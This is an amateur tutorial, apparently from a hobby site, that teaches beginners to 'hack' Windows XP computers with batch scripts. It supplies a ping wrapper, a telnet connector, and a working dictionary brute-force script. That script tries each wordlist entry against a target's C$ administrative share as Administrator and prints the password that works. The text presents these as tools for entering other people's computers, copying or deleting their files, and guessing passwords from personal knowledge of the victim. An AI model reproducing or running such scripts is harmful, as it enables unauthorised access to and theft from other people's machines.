Introduction: Hacking(sort Of) Windows XP With Batch Programs

Basicly this instructible will teach you how to hack windows computers using the cammand prompt and batch programs.

Step 1: Ping

Ping is a default program in Windows that can be used to ascertain whether your intended target is online or not. The following script uses the ping command tho u could just use the ping command in cmd. It would allow more control over the pinging.


@echo off
Title Pinger
Color a
set /p t=Target IP Adress:
Ping %t%
Echo.
Echo.
Pause
Exit


This code is typed up in notepad or some other text editor. it is then saved with the file extension .bat


Step 2: Telnet

Code:
************************************************************************************************************
@echo off
color a
title Telnet
:start
cls
echo.
echo.
set /p ip=Target IP:
echo.
set /p prt=Port (default: port 23):
echo.
set yn=
set /p yn=Establish a connection (y/n):
if %yn%==y goto tel
if %yn%==Y goto tel
if %yn%==n goto start
if %yn%==N goto start
:tel
telnet %ip% %prt%
pause
goto start
************************************************************************************************************

Type this into Notepad,change file type to All Files, and save as "Telnet.bat".

used properly telnet can can allow direct access to a computers hard drive. once you learn how to use telnet you can use it to delete and copy files to and from your target computer. telnet hacking is a science all its own. learning everything you can do with telnet takes time but it's worth it. as with everything else you could probably find a tutorial on telnet use on the interwebs. to learn its basic commands you could type "telnet /?".

Step 3: Password Crackers

Code:


********************************************************************************


@echo off


title Net Crker by The SYNer


color a


:crk-c1


cls


net view


echo.


echo.


set /p ntar=Target (i.e. \\joel):


echo.


set /p ffile=wordlist Location(i.e. C:\words.txt):


echo.


set /p fname=Name of file(i.e. list.txt):


copy "%ffile%" "C:\lst.txt" >nul


cls


for /f "usebackq" %%i in (C:\lst.txt) do net use %ntar%\C$ %%i /u:Administrator && @echo Username:Administrator && echo Password:%%i


echo.


pause


cls


goto crk-c1


************************************************************************************************************


Copy and paste this into Notepad,change file type to All Files, and save as "NET_CRK.bat".


this program uses a brute force dictionary attack. it is time consuming and one of the slowest ways of breaking a password. but if you have the time and your Dictionary list contains the password it will work.
the trick to breaking the password is to make a good Dictionary list. usually you make a custom list for every password. the trick is to think of passwords that that person would use. unfortunately though it requires that you know this person.

Step 4: Limitations

these things only work if you have administrative privileges. also there is only so much that you can do from command prompt. when it comes to real hacking(dos, phishing, viri, etc.) you need to know a programming language or at least HTML(phishing). using the command prompt is more of a starting point. after which you move on to more advanced hacking.